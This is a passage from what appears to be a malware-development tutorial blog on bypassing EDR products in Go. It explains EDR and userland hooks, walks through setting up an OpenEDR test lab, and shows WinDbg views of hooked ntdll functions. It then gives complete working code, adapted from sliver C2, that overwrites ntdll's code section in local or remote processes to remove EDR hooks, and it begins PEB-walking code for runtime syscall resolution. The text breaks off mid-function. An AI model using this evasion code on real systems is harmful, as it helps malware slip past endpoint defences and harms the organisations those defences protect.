		windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION,
		false,
		pid)
	if err != nil {
		return fmt.Errorf("[ERROR] Unable to get a handle on process %d, %v", pid, err)
	}

	// Write to process memory
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(
		pHandle,
		address,
		&patch[0],
		uintptr(len(patch)),
		&numberOfBytesWritten)

	if err != nil {
		return fmt.Errorf("[ERROR] WriteProcessMemory failed, %v", err)
	}
	fmt.Printf("[+] Wrote patch at destination address 0x%x\n", address)

	return nil
}

```


# EDR Bypass

\#EDREvasion #Golang #maldev #malwaredevelopment

Firstly let's understand what an EDR (Endpoint Detection & Response) is and what's the difference with a traditional AntiVirus.

Checkpoint provides a good description on the main differences in [this article](https://www.checkpoint.com/cyber-hub/threat-prevention/what-is-endpoint-detection-and-response/endpoint-detection-and-response-edr-benefits/edr-vs-antivirus/). (also copied below)

### [What Is EDR?](https://www.checkpoint.com/cyber-hub/threat-prevention/what-is-endpoint-detection-and-response/endpoint-detection-and-response-edr-benefits/edr-vs-antivirus/#WhatIsEDR)&#x20;

EDR provide multilayered, integrated endpoint protection. Key features of an EDR security solution include:

* Alert Triage: Security analysts are often overwhelmed by large volumes of alerts from various cybersecurity solutions. EDR triages potential malicious events, enabling security analysts to focus their efforts where they are most effective.&#x20;
* Threat Hunting Support: Threat hunting enables an organization to identify and respond to threats that were not detected or blocked by enterprise security solutions. EDR solutions should provide integrated support for threat hunting activities.&#x20;
* Data Aggregation and Enrichment: Contextual information is vital to differentiating between true cyberattacks and false positives. EDR solutions aggregate data from multiple sources and use this data to more accurately identify true threats.&#x20;
* Integrated Incident Response: EDR should offer support for incident response within the same console. By eliminating context switching, this supports more rapid incident response.&#x20;
* Multiple Response Options: Different security incidents require different types and levels of response. An EDR security solution should provide multiple options (quarantine, eradication, etc.) for an analyst to address the issue.&#x20;

### [What Is Antivirus?](https://www.checkpoint.com/cyber-hub/threat-prevention/what-is-endpoint-detection-and-response/endpoint-detection-and-response-edr-benefits/edr-vs-antivirus/#WhatIsAntivirus)

Antivirus solutions are designed to identify malicious software or code that has infected a computer. AVs use various methods to identify potential malware infections, including:

* Signature-Based Detection: Signature-based detection identifies known threats based on signatures such as file hashes, command and control domains, IP addresses, and similar features.
* Heuristic Detection: Heuristic or anomaly detection identifies malware based on unusual or malicious functionality. This enables it to identify zero-day threats that signature-based detection would miss.
* Rootkit Detection: Rootkit detection identifies malware designed to acquire deep, administrative access to an infected computer.
* Real-Time Detection: Real-time detection attempts to identify malware at time of use by scanning and monitoring recently-accessed files.

AV solutions enable the detection and remediation of malware infections on a computer. This can include terminating malicious processes, quarantining suspicious files, and eradicating malware infections.<br>

### [Why AV Is Not Enough](https://www.checkpoint.com/cyber-hub/threat-prevention/what-is-endpoint-detection-and-response/endpoint-detection-and-response-edr-benefits/edr-vs-antivirus/#WhyAVIsNotEnough)

AV is designed to identify malware on a computer, but cyber threat actors are growing increasingly sophisticated. Traditional, signature-based detection is no longer effective at identifying modern malware due to the rapid evolution of malware and the use of unique malware and infrastructure for cyberattack campaigns. Additionally, malware developers are using various techniques such as fileless malware to evade detection by antivirus solutions.

Detection of modern threats to endpoint security requires more information and context than is available to AV systems. EDR integrates a range of security functions, enabling it to detect trends and other indicators of a successful incursion. Additionally, the response capabilities provided by EDR enable security analysts to more quickly act to address potential security incidents, limiting the impact of an attack.


# 1. Setting up a testing environment

\#OpenEDR #xcitium #elastic

#### The EDR usually consists of two elements:

* A web console where the data from the endpoints is visualized. This could be self hosted or it could be a cloud based application. This really depends on the provider.&#x20;
* The Endpoint Agent that feeds the data to the central database. The agent itself has multiple components such as kernel drivers, dlls, services etc. OpenEDR consists of [these components](https://github.com/ComodoSecurity/openedr?af=7639).

#### There are various options when it comes to setting up a testing lab:

* OpenEDR - offers a free EDR solution. Also the management console is cloud hosted so no additional VMs are required to start testing. The process is literally sign up > Install agent and you are good to go.&#x20;
* Elastic - offers a free EDR solution. You do however have to setup the a linux host running the monitoring console and database of the EDR. A great walkthrough (by [IppSec](https://www.youtube.com/@ippsec)) on how to set it up can be found on YouTube *"*[*Setting Up Elastic 8 with Kibana, Fleet, Endpoint Security, and Windows Log Collection*](https://www.youtube.com/watch?v=Ts-ofIVRMo4)*"*
* Microsoft Defender for Endpoint. I have never tried it myself but Microsoft offers a 30-day trial of their [business solution](https://www.microsoft.com/en-gb/security/business/endpoint-security/microsoft-defender-business-b?). This is great if you are trying to match a target environment and want to test payloads in advance. A 30-day trial however, is not great to have as a long term playground.

### [OpenEDR](https://www.openedr.com/)

For the sake of simplicity I will write quick walk through on how to set up OpenEDR.

* To get started all we have to do is visit [OpenEDR's ](https://www.openedr.com/)website, click on "Get Started for Free".

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FNlkHfOuxubvX4GQ6CaxM%2Fimage.png?alt=media&amp;token=73f53a32-918a-4c02-9d96-65736073355f" alt=""><figcaption><p>OpenEDR landing page</p></figcaption></figure>

* We then get redirected to the following site. All we have to do is fill in the page and create an account. &#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FB51xhwBp2FHLE454Tyfw%2Fimage.png?alt=media&amp;token=bfd18a30-149b-40b0-83c3-35cdf90790e6" alt=""><figcaption><p>Fill In the Form</p></figcaption></figure>

* You will then be prompted to set up a 2FA. That's highly recommended&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FWKMdyKTy3iYvc3KSLJSg%2Fimage.png?alt=media&amp;token=f6a09a90-b88c-4783-9180-f052a195c2da" alt=""><figcaption><p>2FA setup</p></figcaption></figure>

* After setting the 2FA up (or not) it will take a while for the account to be up and running. Be patient don't refresh halfway through the process.

&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FjAC0BPHdR1m0WXG2SqKY%2Fimage.png?alt=media&amp;token=73e0120d-74df-4bef-a4e4-a22b4326264e" alt=""><figcaption><p>Waiting for the Portal privisioning</p></figcaption></figure>

* Once all is ready we are greeted with the following window

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FWAwvgexq6a2WpYdth3yQ%2Fimage.png?alt=media&amp;token=36973ba0-54b6-4bdf-a285-ed0bdc0e3421" alt=""><figcaption><p>Install the Agent</p></figcaption></figure>

* All we have to do at this point is to download the MSI  to the endpoint using the provided link and install it. This will enrol the endpoint to the portal.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F8vytjVxUQUfrNqcyBTaZ%2Fimage.png?alt=media&amp;token=5516f9a8-914f-4a41-8f4e-a40c667232c9" alt=""><figcaption><p>Enrol using the installer</p></figcaption></figure>

* The endpoint will appear in the device list on the portal if it's enrolled successfully. &#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FPXH3DK5TaLfMM7PpiX4j%2Fimage.png?alt=media&amp;token=7c5776b0-1801-491e-9914-b33b21720de5" alt=""><figcaption><p>Host EDR_Test enrolled in the portal</p></figcaption></figure>

* Once enrolled we can then install the AV and EDR capabilities. That's done by selecting the asset and click the menu "Install or Manage Packages" > Install Additional Xcitium Packages

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FgF4v8EpRfOpod29oRBs2%2Fimage.png?alt=media&amp;token=b306a7ac-3891-4f9b-bde7-6098409166cd" alt=""><figcaption><p>Install Additional Xcitium Packages</p></figcaption></figure>

* We will be prompted with the following window. Both Security and EDR packages should be installed. I found this part to be a bit unstable and multiple restarts were required:

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FN0RjLinwXcqVhcH39e0p%2Fimage.png?alt=media&amp;token=06faa769-4a80-497a-92ec-f0a2ddd0aacd" alt=""><figcaption><p>Install packages</p></figcaption></figure>

* The final step to activate all the EDR features is to click on the asset name and navigate to "Manage Profiles" on the top left

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FZlmAelFKARY433XSHlzQ%2Fimage.png?alt=media&amp;token=48695653-9d9b-4bd5-8820-32277f845d03" alt=""><figcaption><p>Manage Profiles</p></figcaption></figure>

We hen click on "Add Profiles" select all of them and click on save.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FYrfwByuqC7vjo5QqD17e%2Fimage.png?alt=media&amp;token=3fe1fd8a-9584-459e-a8b1-7be6601e1d7f" alt=""><figcaption><p>Profiles assigned to the asset</p></figcaption></figure>

We now have a free lab with an EDR agent running where we could test our payloads.


# 2. Userland Hooks


# 1. What are userland hooks?

\#EDREvasion #UserlandHooks

Userland hooks are a technique used to intercept and modify the execution of a function in user mode. This can be used for a variety of purposes, such as monitoring and debugging applications, or injecting malicious code into a running process.

Malicious attackers use this technique to inject malicious code and legitimate software use hooking for debugging and monitoring.&#x20;

### Malicious implementation

[RdpThief](https://github.com/0x09AL/RdpThief) is a dll that can be injected in the mstsc.exe (RPD client) process to identify the target host, username and password. It achieves that by hooking 3 functions:

* [*CredIsMarshaledCredentialW*](https://learn.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credismarshaledcredentialw)&#x20;
* [*CryptProtectMemory* ](https://learn.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectmemory)
* [SspiPrepareForCredRead](https://learn.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-sspiprepareforcredread)

To hook these functions the [detours package](https://github.com/microsoft/Detours) developed by Microsoft is used. It uses a technique called Inline Hooking. Inline Hooking involves inserting code into the application's code at the entry point of the function that you want to hook. This code will then call your hook function in order to extract the host, username and password before continuing with the execution of the original function.

The user logging to the remote system will have no way of knowing that this action took place unless it's picked up by an AV solution installed on the endpoint.&#x20;

The extracted information are then written to disk.

### EDR Implementation

EDR solutions use the same techniques to determine if a function is used for a malicious purpose. The same pattern is following:

* Inject an EDRVendor.dll in the newly created process
* Install inline hooks on frequently abused functions.
* &#x20;Determine if the function is abused for malicious purpose, and if not continue execution of the original function

Let's see how an unhooked function from ntdll looks like in memory.

{% code title="function without hooks" lineNumbers="true" %}

```
0:015> u ntdll!NtAdjustPrivilegesToken
ntdll!NtAdjustPrivilegesToken:
00007ffa`a898f560 4c8bd1          mov     r10,rcx
00007ffa`a898f563 b841000000      mov     eax,41h
00007ffa`a898f568 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffa`a898f570 7503            jne     ntdll!NtAdjustPrivilegesToken+0x15 (00007ffa`a898f575)
00007ffa`a898f572 0f05            syscall
00007ffa`a898f574 c3              ret
00007ffa`a898f575 cd2e            int     2Eh
00007ffa`a898f577 c3              ret
```

{% endcode %}

Without going into too much detail this is how an unhooked function looks like in a debugger.

Let's see how the exact same function looks like on a host with an EDR installed.

<pre data-title="Hooked function" data-line-numbers><code>0:007> u ntdll!NtAdjustPrivilegesToken
<strong>ntdll!NtAdjustPrivilegesToken:
</strong>00007ff9`b062f460 e9932957bd      jmp     00007ff9`6dba1df8
00007ff9`b062f465 cc              int     3
00007ff9`b062f466 cc              int     3
00007ff9`b062f467 cc              int     3
00007ff9`b062f468 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ff9`b062f470 7503            jne     ntdll!NtAdjustPrivilegesToken+0x15 (00007ff9`b062f475)
00007ff9`b062f472 0f05            syscall
00007ff9`b062f474 c3              ret
</code></pre>

We can see that on the hooked function on line 3 there is a jmp instruction to an address. This essentially is how a hook looks like. The destination address will do some processing on behalf of the EDR to identify if there is any malicious intend.&#x20;

In the upcoming blogs we will explore how we can bypass these hooks.&#x20;


# 2. Load a fresh copy of the dll from disk

\#EDREvasion #UserlandHooks #unhook

This technique is probably the easiest way of getting rid of the hooks. It is not always effective since the EDR might perform integrity checks on the loaded dll and either reinstall the hooks or flag our activity as malicious.&#x20;

Also the EDR might flag our process as malicious when we try load the dll from disk. The sample code below is used as part of [sliver C2](https://github.com/BishopFox/sliver/blob/master/implant/sliver/evasion/evasion_windows.go) (great resource when learning malware development in Golang). We will slightly modify the code to unhook dll in remote processes as well.&#x20;

### Let's break the code down

What we want to achieve is to read the contents of a dll from the disk and overwrite the dll with the hooked functions in memory of any process whether remote or current process.&#x20;

This is done by reading the .text section of the dll having all the executable code and overwrite the code in memory. To identify the offset of the .text region from the base address and the size of the .text region the [debug/pe](https://pkg.go.dev/debug/pe) package was used.&#x20;

{% code lineNumbers="true" %}

```go
func RefreshPE(name string, pid int) error {
	fmt.Printf("Reloading %s...\n", name)
	df, err := os.ReadFile(name)
	if err != nil {
		return err
	}
	f, err := pe.Open(name)
	if err != nil {
		return err
	}

	x := f.Section(".text")
	ddf := df[x.Offset:x.Size]
	return writeGoodBytes(ddf, name, pid, x.VirtualAddress, x.Name, x.VirtualSize)
}

```

{% endcode %}

line 1: Function declaration with arguments of the dll path and the process pid.

lines 3-6: Read contents of the dll file from disk to a byte slice 'df'&#x20;

lines 7: Opens file and initiates the debugging session&#x20;

line 12: Gets the details of the .text section&#x20;

line 13: Create a new slice with the contents of the .text section only

line 14: calls the writeGoodBytes function&#x20;

The following code overwrites the .text section of the loaded dll with the bytes in the slice from the previous function.&#x20;

DLLs are loaded in the same virtual address across all processes. So identifying the dll base address in the current process essentially gives us the location of the dll in all processes. &#x20;

{% code lineNumbers="true" %}

```go
func writeGoodBytes(b []byte, pn string, pid int, virtualoffset uint32, secname string, vsize uint32) (err error) {
	var pHandle windows.Handle
	t, err := windows.LoadDLL(pn)
	if err != nil {
		return err
	}
	h := t.Handle
	dllBase := uintptr(h)
	fmt.Printf("DLL Base Address 0x%x\n", dllBase)
	dllOffset := uint(dllBase) + uint(virtualoffset)
	fmt.Printf("DLL Text Region 0x%x\n", dllOffset)

	if pid == -1 {
		pHandle = windows.CurrentProcess()
	} else {
		pHandle, err = windows.OpenProcess(windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION, false, uint32(pid))
		if err != nil {
			return err
		}
	}
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, uintptr(dllOffset), &b[0], uintptr(len(b)), &numberOfBytesWritten)
	if err != nil {
		return err
	}

	fmt.Printf("DLL overwritten Bytes %x/%x", numberOfBytesWritten, len(b))

	return nil
}

```

{% endcode %}

* Lines 3-7: Identify the base address of the dll. This could be replaced by walking the PEB method. This method will be explored in upcoming blog when we implement hell's gate in golang
* Lines 8-11: Calculate the the memory address to write our fresh dll
* Lines 13-20: Get a handle on the remote / current process
* Lines 21-27: Write fresh bytes to the specified address

For this example we will load a fresh copy of the ntdll.dll of the remote process with pid 3396

```go
func main() {
	err := RefreshPE(`C:\Windows\System32\ntdll.dll`, 3396)
	if err != nil {
		fmt.Println(err)
	}

}
```

Let's see how the function ntdll!NtAdjustPrivilegesToken looks before and after running the script

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FUBpJkQgR0LN2E5Pkfjoj%2Fimage.png?alt=media&amp;token=76ae131b-f8b8-4c0a-a50f-64037b46233d" alt=""><figcaption><p>Before and after running the code</p></figcaption></figure>

Terminal Output

```
PS C:\Users\TEST\Desktop\unhook> go run .
Reloading C:\Windows\System32\ntdll.dll...
Target Process: 3396
DLL Base Address 0x7ff9b0590000
DLL Text Region 0x7ff9b0591000
DLL overwritten 
Bytes 12c000/12c000
PS C:\Users\TEST\Desktop\unhook> 
```

### Complete Code

```go
/*
Slightly modified version of the code from sliver c2
It's possible to reload a fresh dll into a remote process
https://github.com/BishopFox/sliver/blob/master/implant/sliver/evasion/evasion_windows.go

*/

package main

import (
	"debug/pe"
	"fmt"
	"os"

	"golang.org/x/sys/windows"
)

func main() {
	err := RefreshPE(`C:\Windows\System32\ntdll.dll`, 3396)
	if err != nil {
		fmt.Println(err)
	}

}

// RefreshPE reloads a DLL from disk into any process
// in an attempt to erase AV or EDR hooks placed at runtime.
// use pid -1 for current process
func RefreshPE(name string, pid int) error {
	fmt.Printf("Reloading %s...\n", name)
	df, err := os.ReadFile(name)
	if err != nil {
		return err
	}
	f, err := pe.Open(name)
	if err != nil {
		return err
	}

	x := f.Section(".text")
	ddf := df[x.Offset:x.Size]
	return writeGoodBytes(ddf, name, pid, x.VirtualAddress, x.Name, x.VirtualSize)
}

func writeGoodBytes(b []byte, pn string, pid int, virtualoffset uint32, secname string, vsize uint32) (err error) {
	var pHandle windows.Handle
	t, err := windows.LoadDLL(pn)
	if err != nil {
		return err
	}
	h := t.Handle
	dllBase := uintptr(h)
	fmt.Printf("DLL Base Address 0x%x\n", dllBase)
	dllOffset := uint(dllBase) + uint(virtualoffset)
	fmt.Printf("DLL Text Region 0x%x\n", dllOffset)

	if pid == -1 {
		pHandle = windows.CurrentProcess()
	} else {
		pHandle, err = windows.OpenProcess(windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION, false, uint32(pid))
		if err != nil {
			return err
		}
	}
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, uintptr(dllOffset), &b[0], uintptr(len(b)), &numberOfBytesWritten)
	if err != nil {
		return err
	}

	fmt.Printf("DLL overwritten Bytes %x/%x", numberOfBytesWritten, len(b))

	return nil
}

```


# 3. Programmatically detect ntdll hooks

\#EDREvasion #UserlandHooks #unhook

A very well known and documented way of bypassing userland hooks is to make use of direct and indirect system calls (blog posts will follow for these techniques). In order to perform either technique we need to identify the SSN(System Service Numbers)  at runtime or hardcode them in our program.

Hardcoding the SSNs has its limitations since they can some times change between Windows updates. So in order to hardcode the SSNs we will need to know exact target system in advance.&#x20;

A better approach is to use [Hell's Gate](https://github.com/am0nsec/HellsGate/blob/master/hells-gate.pdf) (I highly recommend to read this document first). Using this method we will identify the SSNs at runtime without any prior knowledge of the target system.

### Flowchart of the approach:

{% @mermaid/diagram content="flowchart TD
id1(Get NTDLL.dll base address )-->id2(Identify location of IMAGE\_EXPORT\_DIRECTORY)
\--> id3(Extract from the struct:

* Numbers of functions
* Address of functions
* Address of Names)
  \-->
  id4(Loop Through the Exports and Extract:
* function RVA
* function Name RVA
* name
* location of the syscall instruction -tramboline-
* any installed hooks
* SSNs - syscall numbers)" %}

With the above in mind, let's dive into the code

### Get NTDLL.dll base address

Walking / Exploring the [PEB (process environment block)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb) is a common method used by shellcoders to dynamically find the location of exported functions. A similar approach will be used to identify the base address of ntdll and subsequently the export functions.&#x20;

To get a pointer to the PEB the following undocumented function was used.

#### [RtlGetCurrentPeb (ntdll)](http://pinvoke.net/default.aspx/ntdll/RtlGetCurrentPeb.html)

```c
[DllImport("ntdll.dll", SetLastError : true)]
def RtlGetCurrentPeb() as IntPtr:
     pass
```

What it does it essentially returns a pointer to the beginning of the PEB. Thankfully for us this function is implemented in the windows package.

```go
peb := windows.RtlGetCurrentPeb()
```

PEB Structure&#x20;

{% code lineNumbers="true" %}

```go
type PEB struct {
	reserved1              [2]byte
	BeingDebugged          byte
	BitField               byte
	reserved3              uintptr
	ImageBaseAddress       uintptr
	Ldr                    *PEB_LDR_DATA
	ProcessParameters      *RTL_USER_PROCESS_PARAMETERS
	reserved4              [3]uintptr
	AtlThunkSListPtr       uintptr
	reserved5              uintptr
	reserved6              uint32
	reserved7              uintptr
	reserved8              uint32
	AtlThunkSListPtr32     uint32
	reserved9              [45]uintptr
	reserved10             [96]byte
	PostProcessInitRoutine uintptr
	reserved11             [128]byte
	reserved12             [1]uintptr
	SessionId              uint32
}
```

{% endcode %}

To view the PEB Structure in windbg we can use the following command:

```c
dt nt!_PEB @$Peb
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FJjGNS5LGkXBMBqwhhjZS%2Fimage.png?alt=media&amp;token=121f4131-8a8e-4dfe-a9e6-4f2ffa4fd71a" alt=""><figcaption><p>PEB Struct in windbg</p></figcaption></figure>

We are particularly interested in the [PEB\_LDR\_DATA](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data)

```go
type PEB_LDR_DATA struct {
	reserved1               [8]byte
	reserved2               [3]uintptr
	InMemoryOrderModuleList LIST_ENTRY
}
```

To view this struct we simply click on Ldr in windbg that generates the following command:

```c
x -r1 ((ntdll!_PEB_LDR_DATA *)0x7ffb0e1143c0)
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FZUiaPgXEmSicBiNwtleB%2Fimage.png?alt=media&amp;token=9a253842-8a2a-46b0-89d5-c884cf0013cd" alt=""><figcaption><p>PEB_LDR_DATA in windbg</p></figcaption></figure>

InMemoryOrderModuleList: The head of a doubly-linked list that contains the loaded modules for the process. Each item in the list is a pointer to an LDR\_DATA\_TABLE\_ENTRY structure.&#x20;

Once again to view InMemoryOrderMOduleList we just click on it in windbg. The command is generated for us:

```c
 dx -r1 (*((ntdll!_LIST_ENTRY *)0x7ffb0e1143e0))
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FOYzQwEuhv1NaX6BtdDAm%2Fimage.png?alt=media&amp;token=358cff8d-b68a-48db-bc7d-61c20d260647" alt=""><figcaption><p>InMemoryOrderModuleList in windbg</p></figcaption></figure>

The [LDR\_DATA\_TABLE\_ENTRY](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data#remarks) structure is defined as follows:

```c
typedef struct _LDR_DATA_TABLE_ENTRY {
    PVOID Reserved1[2];
    LIST_ENTRY InMemoryOrderLinks;
    PVOID Reserved2[2];
    PVOID DllBase;
    PVOID EntryPoint;
    PVOID Reserved3;
    UNICODE_STRING FullDllName;
    BYTE Reserved4[8];
    PVOID Reserved5[3];
    union {
        ULONG CheckSum;
        PVOID Reserved6;
    };
    ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
```

Finally to get tge LDR\_DATA\_TABLE\_ENTRY that holds the name and dllbase we run the following command in windbg

```
dt _LDR_DATA_TABLE_ENTRY (0x1ddbe804af0 -0x10)
```

where 0x1ddbe804af0 is the Flink address from the previous step. \_LDR\_DATA\_TABLE\_ENTRY is at an offset of -0x10

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FR1zjB3f8BwuREmzcExOR%2Fimage.png?alt=media&amp;token=8caee2fd-ea25-4aef-86b1-6f9ed537780a" alt=""><figcaption><p>LDR_DATA_TABLE_ENTRY in windbg</p></figcaption></figure>

On the screenshot we can see both the module name and base address. To now print the dll address and dll name we run the following commands based on the offsets shown in windbg

```
0:019> dq 0x1ddbe804af0 -0x10 +0x30 L1
000001dd`be804b10  00007ff6`851d0000

0:019> db poi(0x1ddbe804af0 -0x10 +0x58 + 0x8)
000001dd`be8046de  4e 00 6f 00 74 00 65 00-70 00 61 00 64 00 2e 00  N.o.t.e.p.a.d...
000001dd`be8046ee  65 00 78 00 65 00 00 00-22 00 43 00 3a 00 5c 00  e.x.e...".C.:.\.

```

Now we can find the dll base address and dll name we can loop through using the forward links until we reach an empty dll name.

Here is the code in go:

```go
// adds all loaded modules and their base addresses in a slice
func ListDllFromPEB() []dllstruct {

	peb := windows.RtlGetCurrentPeb()
	moduleList := peb.Ldr.InMemoryOrderModuleList
	a := moduleList.Flink
	loadedModules := []dllstruct{}
	for {

		listentry := uintptr(unsafe.Pointer(a))
		// -0x10 beginning of the _LDR_DATA_TABLE_ENTRY_ structure
		// +0x30 Dllbase address
		// +0x58 +0x8 address holding the address pointing to base dllname
		// offsets different for 32-bit processes
		DllBase := uintptr(listentry) - 0x10 + 0x30
		BaseDllName := uintptr(listentry) - 0x10 + 0x58 + 0x8

		v := *((*uintptr)(unsafe.Pointer(BaseDllName)))
		//fmt.Printf("%p\n", (unsafe.Pointer(v))) // prints the address that holds the dll name

		s := ((*uint16)(unsafe.Pointer(v))) // turn uintptr to *uint16
		dllNameStr := windows.UTF16PtrToString(s)
		if dllNameStr == "" {
			break
		}

		dllbaseaddr := *((*uintptr)(unsafe.Pointer(DllBase)))
		//fmt.Printf("%p\n", (unsafe.Pointer(dllbaseaddr))) // prints the dll base addr
		loadedModules = append(loadedModules, dllstruct{
			name:                   dllNameStr,
			address:                dllbaseaddr,
			exportDirectoryAddress: 0,
			exportDirectory:        IMAGE_EXPORT_DIRECTORY{Characteristics: 0, TimeDateStamp: 0, MajorVersion: 0, MinorVersion: 0, Name: 0, Base: 0, NumberOfFunctions: 0, NumberOfNames: 0, AddressOfFunctions: 0, AddressOfNames: 0, AddressOfNameOrdinals: 0},
			exportedNtFunctions:    []Exportfunc{},
			exportedZwFunctions:    []Exportfunc{},
		})
		a = a.Flink
	}

	return loadedModules
}
```

We essentially save the name and address of each module into a dllstruct structure and return them all in a slice called loadedModules. This function was created with future applications in mind. In this case since we only care about ntdll.dll we could return only that dllstruct.&#x20;

The following function was created to return the dllstruct needed. It receives the dll name as an argument and returns the struct.&#x20;

```go
func GetStructOfLoadedDll(name string) (dllstruct, error) {
	modules := ListDllFromPEB()
	for _, module := range modules {
		if module.name == name {
			return module, nil
		}

	}
	return dllstruct{}, fmt.Errorf("dll not Found")
}
```

For debugging purposes we can print the table to console just to ensure that the code generates the expected output.&#x20;

```go
func PrintModules() {
	t := table.NewWriter()
	fmt.Printf("---------------------------------------------\nLoaded modules in current process\n")
	t.AppendHeader(table.Row{"#", "DLL Name", "Address"})

	for i, module := range ListDllFromPEB() {
		t.AppendRow(table.Row{i, module.name, fmt.Sprintf("0x%x", module.address)})
	}
	fmt.Println(t.Render())
}
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fc0M4kGUNUMvQKNQDNjJ9%2Fimage.png?alt=media&amp;token=72b19db8-995e-47cd-86eb-c5114e69d6d0" alt=""><figcaption><p>Loaded Module names and addresses</p></figcaption></figure>

We can now cross check using windbg using the "`lm"` command or using ProcessHacker

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FFr88ECEJCR3QyiPn1AYO%2Fimage.png?alt=media&amp;token=73ecad48-ab5e-40cf-bf4e-2e01c8bce481" alt=""><figcaption><p>Loaded Modules in Process Hacker</p></figcaption></figure>

We can see that the addresses and names match.&#x20;

{% hint style="info" %}
All the above could be replaced by the following code ! :smile: What if the LoadDLL function is hooked though ?

```go
	t, err := windows.LoadDLL(`C:\Windows\System32\ntdll.dll`)
	if err != nil {
		return err
	}
	h := t.Handle
	dllBase := uintptr(h)
```

{% endhint %}

### Identify location of IMAGE\_EXPORT\_DIRECTORY

Once the base address of the ntdll.dll is identified the next step is to find the location of the image\_export\_directory. Let's have a look at the contents of the struct.&#x20;

```go
type IMAGE_EXPORT_DIRECTORY struct { //offsets
	Characteristics       uint32 // 0x0
	TimeDateStamp         uint32 // 0x4
	MajorVersion          uint16 // 0x8
	MinorVersion          uint16 // 0xa
	Name                  uint32 // 0xc
	Base                  uint32 // 0x10
	NumberOfFunctions     uint32 // 0x14
	NumberOfNames         uint32 // 0x18
	AddressOfFunctions    uint32 // 0x1c
	AddressOfNames        uint32 // 0x20
	AddressOfNameOrdinals uint32 // 0x24
}
```

We are particularly interested in the AddressOfFunctions and AddressOfNames (or AddressOfNameOrdinals).&#x20;

Similarly to the techniques used in [Process Hollowing](/code-injection-techniques/shellcode-injection/2.-process-hollowing) we can get the export directory from the Optional Header.&#x20;

* [MS-DOS Stub](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#ms-dos-stub-image-only): At location 0x3c, the stub has the file offset to the PE signature.
* From the offset found at 0x3c we then calculate the size of the different components of PE.

  * [Signature (Image Only)](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#signature-image-only): 4-bytes (PE00)&#x20;
  * [COFF File Header (Object and Image)](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#coff-file-header-object-and-image):  (2+2+4+4+4+2+2) 20-bytes (0x14)
  * [Optional Header Standard Fields (Image Only)](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header-standard-fields-image-only): Offset to Export Directory 0x70

The above translated to the code below:

```go
func (dll *dllstruct) getExportTableAddress() uintptr {
